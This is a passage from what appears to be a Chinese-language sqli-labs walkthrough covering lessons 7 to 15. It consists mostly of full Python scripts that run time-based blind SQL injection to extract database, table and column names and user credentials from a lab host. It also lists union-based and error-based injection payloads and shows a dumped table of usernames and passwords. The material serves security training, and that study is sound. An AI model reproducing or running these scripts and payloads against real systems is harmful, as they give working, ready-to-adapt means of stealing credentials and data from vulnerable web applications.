    print("======正在爆破当前数据库下的users表的所有字段个数!!!======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        url = "http://192.168.0.128:9020/Less-7/?id=-1')) or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')={} and sleep(0.1) and '1'=(('1".format(i)  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前数据库下的users表的所有字段个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
#爆破当前数据库下的users表的所有字段名:  
def get_column_name(count):  
    print("======正在爆破当前数据库下的users表的所有字段名!!!=======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    column_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url = "http://192.168.0.128:9020/Less-7/?id=-1')) or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit {},1),{},1))={} and sleep(0.1) and '1'=(('1".format(i,j,k)  
  
                start_time = time.time()  
                r.get(url)  
                if time.time() - start_time > 1:  
                    column_name += chr(k)  
                    print(column_name)  
                    break  
        print("第{}个字段名为:".format(i + 1) + column_name)  
        column_name = ''  
    print("=========以上为当前数据库下的users表的所有字段名")  
    print("")  
    print("")  
    return 0  
  
  
# 爆破当前users表有多少条数据记录:  
def get_users_count() -> int:  
    print("======正在爆破当前users表有多少条数据记录!!!=======")  
    print("================请耐心等待!!!=======================")  
    for i in range(100):  
        url = "http://192.168.0.128:9020/Less-7/?id=-1')) or (select count(*) from users )={} and sleep(0.1) and '1'=(('1".format(i)  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前users表有{}条数据记录".format(count))  
    print("")  
    print("")  
    return count  
  
#爆破当前数据库中users表中的username字段和password的字段内容:  
def get_username(count):  
    print("======正在爆破当前数据库中users表中的username字段和password的字段内容!!!=======")  
    print("=============================请耐心等待!!!===============================")  
    values = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url1 = "http://192.168.0.128:9020/Less-7/?id=-1')) or ascii(substr((select concat(id,'---',username,'---',password) from users limit {},1),{},1))={} and sleep(0.1) and '1'=(('1".format(i,j,k)  
                # 此处的id,useranme,password以' - '分隔!  
                start_time = time.time()  
                r.get(url1)  
                if time.time() - start_time >1:  
                    values += chr(k)  
                    print(values)  
                    break  
        print("===第{}条记录的id值为:".format(i+1)+values)  
        values = ''  
    print("=====以上为users表中所有数据========")  
    print("")  
    print("")  
    return 0  
  
# 调用以上函数:  
if __name__ == '__main__':  
    get_database_name(get_database_name_length())     #获取当前数据库名长度、获取当前数据库名  
    get_table_name_length(get_table_name_count())     #爆破当前数据库下的表个数、爆破当前数据库下的每张表名的长度  
    get_table_name(get_table_name_count())            #爆破当前数据库下的表个数、爆破当前数据库下的所有表名  
    get_column_name(get_column_name_count())          #爆破当前数据库下的users表的所有字段个数、爆破当前数据库下的users表的所有字段名  
    get_username(get_users_count())                   #爆破当前users表有多少条数据记录、爆破当前数据库中users表中的username字段和password的字段内容

Less-8:

判断注入点:

'

可以尝试注入的有:

' or 1=1--+

使用python爆破:

import requests  
import time  
# 模拟请求的一个库:  
r = requests.session()  
  
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_='  
  
# 爆破当前数据库名长度:  
def get_database_name_length() -> int:  
    print("===========正在爆破当前数据库名长度!!!================")  
    print("================请耐心等待!!!======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码url:  
        url = "http://192.168.0.128:9020/Less-8/?id=-1' or length(database())={} and sleep(0.1) --+".format(i)  
  
        start_time = time.time()  # 这是请求前的时间  
        r.get(url) # 这是请求之后  
        if time.time() - start_time > 1:    #当请求时间大于1秒的时候就说明数据库长度爆破成功!  
            length = i  
            break  
    print("============="+"当前数据库的长度为:{}".format(i))  
    print("")  
    print("")  
    return length  
  
  
#爆破当前数据库名称:  
def get_database_name(length):  
    print("===========正在爆破当前数据库名!!!====================")  
    print("================请耐心等待!!!=======================")  
  
  
    database_name = ''  
    for i in range(length+1):    # 因为包含左不包含右,要想取到count就得+1  
        for j in range(1,128):    #ascii码一共1~127,包含左不包含右,因此+1为128  
            url = "http://192.168.0.128:9020/Less-8/?id=-1' or ascii(mid(database(),{},1))={} and sleep(0.1) --+".format(i,j)  
  
            start_time = time.time()  
            r.get(url)  
            if time.time() - start_time >1:  
                database_name = database_name+chr(j)  
                print(database_name)  
                break  
    print("============="+"当前数据库名为:"+database_name)  
    print("")  
    print("")  
    return database_name  
  
  
  
#爆破当前数据库下的表个数:  
def get_table_name_count() -> int:  
    print("=========正在爆破当前数据库下的表个数!!!===============")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码url:  
        url = "http://192.168.0.128:9020/Less-8/?id=-1' or (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(0.1) --+".format(i)  
  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time > 1:  
            count = i  
            break  
    print("============="+"当前数据库下的数据表的个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
  
#爆破当前数据库下的每张表名的长度:  
def get_table_name_length(count):  
    print("=========正在爆破当前数据库下的每张表名的长度!!!=========")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(count):  
        for j in range(50):  
            url = "http://192.168.0.128:9020/Less-8/?id=-1' or length((select table_name from information_schema.tables where table_schema=database() limit {},1))={} and sleep(0.1) --+".format(i,j)  
  
            start_time = time.time()  
            r.get(url)  
            if time.time() - start_time > 1:  
                length = j  
                break  
        print("第{}张表的长度为:".format(i+1)+str(length))  
    print("=========以上为当前数据库下的每张表名的长度")  
    print("")  
    print("")  
    return 0  
  
  
#爆破当前数据库下的所有数据表名:  
def get_table_name(count):  
    print("=========正在爆破当前数据库下的所有表名!!!=========")  
    print("================请耐心等待!!!=======================")  
    table_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url = "http://192.168.0.128:9020/Less-8/?id=-1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(0.1) --+".format(i,j,k)  
                start_time = time.time()  
                r.get(url)  
                if time.time() - start_time > 1:  
                    table_name += chr(k)  
                    print(table_name)  
                    break  
        print("第{}张数据表名为:".format(i+1)+table_name)  
        table_name=''  
    print("=========以上为当前数据库下的所有数据表名")  
    print("")  
    print("")  
    return 0  
  
  
  
#爆破当前数据库下的users表的所有字段个数:  
def get_column_name_count() -> int:  
    print("======正在爆破当前数据库下的users表的所有字段个数!!!======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        url = "http://192.168.0.128:9020/Less-8/?id=-1' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')={} and sleep(0.1) --+".format(i)  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前数据库下的users表的所有字段个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
#爆破当前数据库下的users表的所有字段名:  
def get_column_name(count):  
    print("======正在爆破当前数据库下的users表的所有字段名!!!=======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    column_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url = "http://192.168.0.128:9020/Less-8/?id=-1' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit {},1),{},1))={} and sleep(0.1) --+".format(i,j,k)  
  
                start_time = time.time()  
                r.get(url)  
                if time.time() - start_time > 1:  
                    column_name += chr(k)  
                    print(column_name)  
                    break  
        print("第{}个字段名为:".format(i + 1) + column_name)  
        column_name = ''  
    print("=========以上为当前数据库下的users表的所有字段名")  
    print("")  
    print("")  
    return 0  
  
  
# 爆破当前users表有多少条数据记录:  
def get_users_count() -> int:  
    print("======正在爆破当前users表有多少条数据记录!!!=======")  
    print("================请耐心等待!!!=======================")  
    for i in range(100):  
        url = "http://192.168.0.128:9020/Less-8/?id=-1' or (select count(*) from users )={} and sleep(0.1) --+".format(i)  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前users表有{}条数据记录".format(count))  
    print("")  
    print("")  
    return count  
  
#爆破当前数据库中users表中的username字段和password的字段内容:  
def get_username(count):  
    print("======正在爆破当前数据库中users表中的username字段和password的字段内容!!!=======")  
    print("=============================请耐心等待!!!===============================")  
    values = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url1 = "http://192.168.0.128:9020/Less-8/?id=-1' or ascii(substr((select concat(id,'---',username,'---',password) from users limit {},1),{},1))={} and sleep(0.1) --+".format(i,j,k)  
                # 此处的id,useranme,password以' - '分隔!  
                start_time = time.time()  
                r.get(url1)  
                if time.time() - start_time >1:  
                    values += chr(k)  
                    print(values)  
                    break  
        print("===第{}条记录的id值为:".format(i+1)+values)  
        values = ''  
    print("=====以上为users表中所有数据========")  
    print("")  
    print("")  
    return 0  
  
# 调用以上函数:  
if __name__ == '__main__':  
    get_database_name(get_database_name_length())     #获取当前数据库名长度、获取当前数据库名  
    get_table_name_length(get_table_name_count())     #爆破当前数据库下的表个数、爆破当前数据库下的每张表名的长度  
    get_table_name(get_table_name_count())            #爆破当前数据库下的表个数、爆破当前数据库下的所有表名  
    get_column_name(get_column_name_count())          #爆破当前数据库下的users表的所有字段个数、爆破当前数据库下的users表的所有字段名  
    get_username(get_users_count())                   #爆破当前users表有多少条数据记录、爆破当前数据库中users表中的username字段和password的字段内容

Less-9:

判断注入点:

-1' or sleep(1)--+

发现可以时间注入(有时间延迟)

使用python爆破:

import requests  
import time  
# 模拟请求的一个库:  
r = requests.session()  
  
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_='  
  
# 爆破当前数据库名长度:  
def get_database_name_length() -> int:  
    print("===========正在爆破当前数据库名长度!!!================")  
    print("================请耐心等待!!!======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码url:  
        url = "http://192.168.0.128:9020/Less-9/?id=-1' or length(database())={} and sleep(0.1)--+".format(i)  
  
        start_time = time.time()  # 这是请求前的时间  
        r.get(url) # 这是请求之后  
        if time.time() - start_time > 1:    #当请求时间大于1秒的时候就说明数据库长度爆破成功!  
            length = i  
            break  
    print("============="+"当前数据库的长度为:{}".format(i))  
    print("")  
    print("")  
    return length  
  
  
#爆破当前数据库名称:  
def get_database_name(length):  
    print("===========正在爆破当前数据库名!!!====================")  
    print("================请耐心等待!!!=======================")  
  
  
    database_name = ''  
    for i in range(length+1):    # 因为包含左不包含右,要想取到count就得+1  
        for j in range(1,128):    #ascii码一共1~127,包含左不包含右,因此+1为128  
            url = "http://192.168.0.128:9020/Less-9/?id=-1' or ascii(substr((database()),{},1))={} and sleep(0.1)--+".format(i,j)  
  
            start_time = time.time()  
            r.get(url)  
            if time.time() - start_time >1:  
                database_name = database_name+chr(j)  
                print(database_name)  
                break  
    print("============="+"当前数据库名为:"+database_name)  
    print("")  
    print("")  
    return database_name  
  
  
  
#爆破当前数据库下的表个数:  
def get_table_name_count() -> int:  
    print("=========正在爆破当前数据库下的表个数!!!===============")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码url:  
        url = "http://192.168.0.128:9020/Less-9/?id=-1' or (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(0.1) --+".format(i)  
  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time > 1:  
            count = i  
            break  
    print("============="+"当前数据库下的数据表的个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
  
#爆破当前数据库下的每张表名的长度:  
def get_table_name_length(count):  
    print("=========正在爆破当前数据库下的每张表名的长度!!!=========")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(count):  
        for j in range(50):  
            url = "http://192.168.0.128:9020/Less-9/?id=-1' or length((select table_name from information_schema.tables where table_schema=database() limit {},1))={} and sleep(0.1) --+".format(i,j)  
  
            start_time = time.time()  
            r.get(url)  
            if time.time() - start_time > 1:  
                length = j  
                break  
        print("第{}张表的长度为:".format(i+1)+str(length))  
    print("=========以上为当前数据库下的每张表名的长度")  
    print("")  
    print("")  
    return 0  
  
  
#爆破当前数据库下的所有数据表名:  
def get_table_name(count):  
    print("=========正在爆破当前数据库下的所有表名!!!=========")  
    print("================请耐心等待!!!=======================")  
    table_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url = "http://192.168.0.128:9020/Less-9/?id=-1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(0.1) --+".format(i,j,k)  
                start_time = time.time()  
                r.get(url)  
                if time.time() - start_time > 1:  
                    table_name += chr(k)  
                    print(table_name)  
                    break  
        print("第{}张数据表名为:".format(i+1)+table_name)  
        table_name=''  
    print("=========以上为当前数据库下的所有数据表名")  
    print("")  
    print("")  
    return 0  
  
  
  
#爆破当前数据库下的users表的所有字段个数:  
def get_column_name_count() -> int:  
    print("======正在爆破当前数据库下的users表的所有字段个数!!!======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        url = "http://192.168.0.128:9020/Less-9/?id=-1' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')={} and sleep(0.1) --+".format(i)  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前数据库下的users表的所有字段个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
#爆破当前数据库下的users表的所有字段名:  
def get_column_name(count):  
    print("======正在爆破当前数据库下的users表的所有字段名!!!=======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    column_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url = "http://192.168.0.128:9020/Less-9/?id=-1' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit {},1),{},1))={} and sleep(0.1) --+".format(i,j,k)  
  
                start_time = time.time()  
                r.get(url)  
                if time.time() - start_time > 1:  
                    column_name += chr(k)  
                    print(column_name)  
                    break  
        print("第{}个字段名为:".format(i + 1) + column_name)  
        column_name = ''  
    print("=========以上为当前数据库下的users表的所有字段名")  
    print("")  
    print("")  
    return 0  
  
  
# 爆破当前users表有多少条数据记录:  
def get_users_count() -> int:  
    print("======正在爆破当前users表有多少条数据记录!!!=======")  
    print("================请耐心等待!!!=======================")  
    for i in range(100):  
        url = "http://192.168.0.128:9020/Less-9/?id=-1' or (select count(*) from users )={} and sleep(0.1) --+".format(i)  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前users表有{}条数据记录".format(count))  
    print("")  
    print("")  
    return count  
  
#爆破当前数据库中users表中的username字段和password的字段内容:  
def get_username(count):  
    print("======正在爆破当前数据库中users表中的username字段和password的字段内容!!!=======")  
    print("=============================请耐心等待!!!===============================")  
    values = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url1 = "http://192.168.0.128:9020/Less-9/?id=-1' or ascii(substr((select concat(id,'---',username,'---',password) from users limit {},1),{},1))={} and sleep(0.1) --+".format(i,j,k)  
                # 此处的id,useranme,password以' - '分隔!  
                start_time = time.time()  
                r.get(url1)  
                if time.time() - start_time >1:  
                    values += chr(k)  
                    print(values)  
                    break  
        print("===第{}条记录的id值为:".format(i+1)+values)  
        values = ''  
    print("=====以上为users表中所有数据========")  
    print("")  
    print("")  
    return 0  
  
# 调用以上函数:  
if __name__ == '__main__':  
    get_database_name(get_database_name_length())     #获取当前数据库名长度、获取当前数据库名长度  
    get_table_name_length(get_table_name_count())     #爆破当前数据库下的表个数、爆破当前数据库下的每张表名的长度  
    get_table_name(get_table_name_count())            #爆破当前数据库下的表个数、爆破当前数据库下的所有表名  
    get_column_name(get_column_name_count())          #爆破当前数据库下的users表的所有字段个数、爆破当前数据库下的users表的所有字段名  
    get_username(get_users_count())                   #爆破当前users表有多少条数据记录、爆破当前数据库中users表中的username字段和password的字段内容

Less-10:

判断注入点:

-1" or sleep(1)--+

判断得出是可以通过时间注入

使用python脚本爆破:

import requests  
import time  
# 模拟请求的一个库:  
r = requests.session()  
  
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_='  
  
# 爆破当前数据库名长度:  
def get_database_name_length() -> int:  
    print("===========正在爆破当前数据库名长度!!!================")  
    print("================请耐心等待!!!======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码url:  
        url = 'http://192.168.0.128:9020/Less-10/?id=-1" or length(database())={} and sleep(0.1)--+'.format(i)  
  
        start_time = time.time()  # 这是请求前的时间  
        r.get(url) # 这是请求之后  
        if time.time() - start_time > 1:    #当请求时间大于1秒的时候就说明数据库长度爆破成功!  
            length = i  
            break  
    print("============="+"当前数据库的长度为:{}".format(i))  
    print("")  
    print("")  
    return length  
  
  
#爆破当前数据库名称:  
def get_database_name(length):  
    print("===========正在爆破当前数据库名!!!====================")  
    print("================请耐心等待!!!=======================")  
  
  
    database_name = ''  
    for i in range(length+1):    # 因为包含左不包含右,要想取到count就得+1  
        for j in range(1,128):    #ascii码一共1~127,包含左不包含右,因此+1为128  
            url = 'http://192.168.0.128:9020/Less-10/?id=-1" or ascii(substr((database()),{},1))={} and sleep(0.1)--+'.format(i,j)  
  
            start_time = time.time()  
            r.get(url)  
            if time.time() - start_time >1:  
                database_name = database_name+chr(j)  
                print(database_name)  
                break  
    print("============="+"当前数据库名为:"+database_name)  
    print("")  
    print("")  
    return database_name  
  
  
  
#爆破当前数据库下的表个数:  
def get_table_name_count() -> int:  
    print("=========正在爆破当前数据库下的表个数!!!===============")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码url:  
        url = 'http://192.168.0.128:9020/Less-10/?id=-1" or (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(0.1) --+'.format(i)  
  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time > 1:  
            count = i  
            break  
    print("============="+"当前数据库下的数据表的个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
  
#爆破当前数据库下的每张表名的长度:  
def get_table_name_length(count):  
    print("=========正在爆破当前数据库下的每张表名的长度!!!=========")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(count):  
        for j in range(50):  
            url = 'http://192.168.0.128:9020/Less-10/?id=-1" or length((select table_name from information_schema.tables where table_schema=database() limit {},1))={} and sleep(0.1) --+'.format(i,j)  
  
            start_time = time.time()  
            r.get(url)  
            if time.time() - start_time > 1:  
                length = j  
                break  
        print("第{}张表的长度为:".format(i+1)+str(length))  
    print("=========以上为当前数据库下的每张表名的长度")  
    print("")  
    print("")  
    return 0  
  
  
#爆破当前数据库下的所有数据表名:  
def get_table_name(count):  
    print("=========正在爆破当前数据库下的所有表名!!!=========")  
    print("================请耐心等待!!!=======================")  
    table_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url = 'http://192.168.0.128:9020/Less-10/?id=-1" or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(0.1) --+'.format(i,j,k)  
                start_time = time.time()  
                r.get(url)  
                if time.time() - start_time > 1:  
                    table_name += chr(k)  
                    print(table_name)  
                    break  
        print("第{}张数据表名为:".format(i+1)+table_name)  
        table_name=''  
    print("=========以上为当前数据库下的所有数据表名")  
    print("")  
    print("")  
    return 0  
  
  
  
#爆破当前数据库下的users表的所有字段个数:  
def get_column_name_count() -> int:  
    print("======正在爆破当前数据库下的users表的所有字段个数!!!======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        url = 'http://192.168.0.128:9020/Less-10/?id=-1" or (select count(column_name) from information_schema.columns where table_schema=database() and table_name="users")={} and sleep(0.1) --+'.format(i)  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前数据库下的users表的所有字段个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
#爆破当前数据库下的users表的所有字段名:  
def get_column_name(count):  
    print("======正在爆破当前数据库下的users表的所有字段名!!!=======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    column_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url = 'http://192.168.0.128:9020/Less-10/?id=-1" or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit {},1),{},1))={} and sleep(0.1) --+'.format(i,j,k)  
  
                start_time = time.time()  
                r.get(url)  
                if time.time() - start_time > 1:  
                    column_name += chr(k)  
                    print(column_name)  
                    break  
        print("第{}个字段名为:".format(i + 1) + column_name)  
        column_name = ''  
    print("=========以上为当前数据库下的users表的所有字段名")  
    print("")  
    print("")  
    return 0  
  
  
# 爆破当前users表有多少条数据记录:  
def get_users_count() -> int:  
    print("======正在爆破当前users表有多少条数据记录!!!=======")  
    print("================请耐心等待!!!=======================")  
    for i in range(100):  
        url = 'http://192.168.0.128:9020/Less-10/?id=-1" or (select count(*) from users )={} and sleep(0.1) --+'.format(i)  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前users表有{}条数据记录".format(count))  
    print("")  
    print("")  
    return count  
  
#爆破当前数据库中users表中的username字段和password的字段内容:  
def get_username(count):  
    print("======正在爆破当前数据库中users表中的username字段和password的字段内容!!!=======")  
    print("=============================请耐心等待!!!===============================")  
    values = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url1 = 'http://192.168.0.128:9020/Less-10/?id=-1" or ascii(substr((select concat(id,"---",username,"---",password) from users limit {},1),{},1))={} and sleep(0.1) --+'.format(i,j,k)  
                # 此处的id,useranme,password以' - '分隔!  
                start_time = time.time()  
                r.get(url1)  
                if time.time() - start_time >1:  
                    values += chr(k)  
                    print(values)  
                    break  
        print("===第{}条记录的id值为:".format(i+1)+values)  
        values = ''  
    print("=====以上为users表中所有数据========")  
    print("")  
    print("")  
    return 0  
  
# 调用以上函数:  
if __name__ == '__main__':  
    get_database_name(get_database_name_length())     #获取当前数据库名长度、获取当前数据库名长度  
    get_table_name_length(get_table_name_count())     #爆破当前数据库下的表个数、爆破当前数据库下的每张表名的长度  
    get_table_name(get_table_name_count())            #爆破当前数据库下的表个数、爆破当前数据库下的所有表名  
    get_column_name(get_column_name_count())          #爆破当前数据库下的users表的所有字段个数、爆破当前数据库下的users表的所有字段名  
    get_username(get_users_count())                   #爆破当前users表有多少条数据记录、爆破当前数据库中users表中的username字段和password的字段内容

Less-11:

判断注入点:

'


单引号闭合的
POST请求(表单)

使用union联合注入:

' or 1=1 #


使用order by判断字段个数:

' order by 1 #


依次测试:

' order by 3 #


在测试第三个字段时返回Unknown column '3' in 'order clause'
说明这个表的字段有2个

使用union联合注入:

' union select 1,2 #


有回显1,2

爆所有数据库:

' union select group_concat(schema_name),database() from information_schema.schemata #


所有数据库名:

information_schema,challenges,mysql,performance_schema,security

当前数据库为:

security

爆当前数据库名及当前数据库的所有数据表:

' union select group_concat(table_name),2 from information_schema.tables where table_schema='security' #


当前数据库下所有数据表:

emails,referers,uagents,users

爆users表的所有列名(字段名):

' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #


users的所有字段名为:

id,username,password

爆数据:

' union select group_concat(username,' ',password),2 from users #

Dumb Dumb,
Angelina I-kill-you,
Dummy p@ssword,
secure crappy,
stupid stupidity,
superman genious,
batman mob!le,
admin admin,
admin1 admin1,
admin2 admin2,
admin3 admin3,
dhakkan dumbo,
admin4 admin4

Less-12:

判断注入点:

输入”:

"

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""") and password=("") LIMIT 0,1' at line 1

发现闭合方式是:")
再次尝试注入:

1") or 1=1 #


判断字段数:

") order by 1#


再次尝试:

") order by 3#


提示:Unknown column '3' in 'order clause'
说明字段数为2

使用union联合注入:

") union select 1,2#

爆所有数据库:

") union select group_concat(schema_name),database() from information_schema.schemata #

爆当前数据库名及当前数据库的所有数据表:

") union select group_concat(table_name),2 from information_schema.tables where table_schema='security' #

爆users表的所有列名(字段名):

") union select group_concat(column_name),2 from information_schema.columns where table_name='users' #

爆数据:

") union select group_concat(username,' ',password),2 from users #

Less-13:

判断注入点:

输入'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') and password=('') LIMIT 0,1' at line 1

发现是')闭合
尝试万能密码:

1') or 1=1#


提示:成功登录
但无回显就不能使用union联合注入

使用报错注入:

使用floor注入:

1') or 1= (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) #

1') or 1= (select 1 from (select count(*),concat((select concat(username,"-",password) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) #

重复注入:

1') or (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x) #

extractvalue注入:

1') or (select extractvalue(1,concat(0x7e,(select database()),0x7e))) #

Less-14:

判断注入点:

输入"

"


报错信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""" and password="" LIMIT 0,1' at line 1

判断双引号闭合

1" or 1=1#


发现成功登录,但无回显(不能使用union联合注入)

使用报错注入:

floor注入:

1" or 1= (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) #

updatexml报错注入:

1" or (select updatexml(1,concat(0x7e,(select database())),1)) #

1" or (select updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1)),1)) #

double 数值类型超出范围进行报错注入:

1" or (select (exp(~(select * from (select database())a)))) #

bigint 溢出进行报错注入:

1" or (select (!(select * from (select user())x) - ~0)) #

geometrycollection():

1" or (geometrycollection((select * from (select * from (select user())a)b))) #

multipoint():

1" or (multipoint((select * from (select * from (select user())a)b))) #

Less-15:

判断注入点:

注入点是'单引号

输入时间注入函数:

1' or 1=sleep(1)#


存在时间注入

判断数据库长度:

1' or length(database())>1 and sleep(1)#

使用python脚本爆破:

import requests  
import time  
# 模拟请求的一个库:  
url = "http://192.168.0.128:9020/Less-15/"  
  
# 爆破当前数据库名长度:  
def get_database_name_length() -> int:  
    print("===========正在爆破当前数据库名长度!!!================")  
    print("================请耐心等待!!!======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码payload:  
        payload = "1' or length(database())={} and sleep(0.1)#".format(i)  
        param = {"uname": payload, "passwd": ""}  
        start_time = time.time()  # 这是请求前的时间  
        requests.post(url, data=param)  
        if time.time() - start_time > 1:    #当请求时间大于1秒的时候就说明数据库长度爆破成功!  
            length = i  
            break  
    print("============="+"当前数据库的长度为:{}".format(i))  
    print("")  
    print("")  
    return length  
  
  
#爆破当前数据库名称:  
def get_database_name(length):  
    print("===========正在爆破当前数据库名!!!====================")  
    print("================请耐心等待!!!=======================")  
  
  
    database_name = ''  
    for i in range(length+1):    # 因为包含左不包含右,要想取到count就得+1  
        for j in range(1,128):    #ascii码一共1~127,包含左不包含右,因此+1为128  
            payload = "1' or ascii(substr(database(),{},1))={} and sleep(0.1)#".format(i,j)  
            param = {"uname": payload, "passwd": ""}  
            start_time = time.time()  
            requests.post(url, data=param)  
            if time.time() - start_time >1:  
                database_name = database_name+chr(j)  
                print(database_name)  
                break  
    print("============="+"当前数据库名为:"+database_name)  
    print("")  
    print("")  
    return database_name  
  
  
  
#爆破当前数据库下的表个数:  
def get_table_name_count() -> int:  
    print("=========正在爆破当前数据库下的表个数!!!===============")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        payload = "1' or (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(0.1)#".format(i)  
        param = {"uname": payload, "passwd": ""}  
        start_time = time.time()  
        requests.post(url, data=param)  
        if time.time() - start_time > 1:  
            count = i  
            break  
    print("============="+"当前数据库下的数据表的个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
  
#爆破当前数据库下的每张表名的长度:  
def get_table_name_length(count):  
    print("=========正在爆破当前数据库下的每张表名的长度!!!=========")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(count):  
        for j in range(50):  
            payload = "1' or length((select table_name from information_schema.tables where table_schema=database() limit {},1))={} and sleep(0.1)#".format(i,j)  
            param = {"uname": payload, "passwd": ""}  
            start_time = time.time()  
            requests.post(url, data=param)  
            if time.time() - start_time > 1:  
                length = j  
                break  
        print("第{}张表的长度为:".format(i+1)+str(length))  
    print("=========以上为当前数据库下的每张表名的长度")  
    print("")  
    print("")  
    return 0  
  
  
#爆破当前数据库下的所有数据表名:  
def get_table_name(count):  
    print("=========正在爆破当前数据库下的所有表名!!!=========")  
    print("================请耐心等待!!!=======================")  
    table_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                payload = "1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(0.1)#".format(i,j,k)  
                param = {"uname": payload, "passwd": ""}  
                start_time = time.time()  
                requests.post(url, data=param)  
                if time.time() - start_time > 1:  
                    table_name += chr(k)  
                    print(table_name)  
                    break  
        print("第{}张数据表名为:".format(i+1)+table_name)  
        table_name=''  
    print("=========以上为当前数据库下的所有数据表名")  
    print("")  
    print("")  
    return 0  
  
  
  
#爆破当前数据库下的users表的所有字段个数:  
def get_column_name_count() -> int:  
    print("======正在爆破当前数据库下的users表的所有字段个数!!!======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
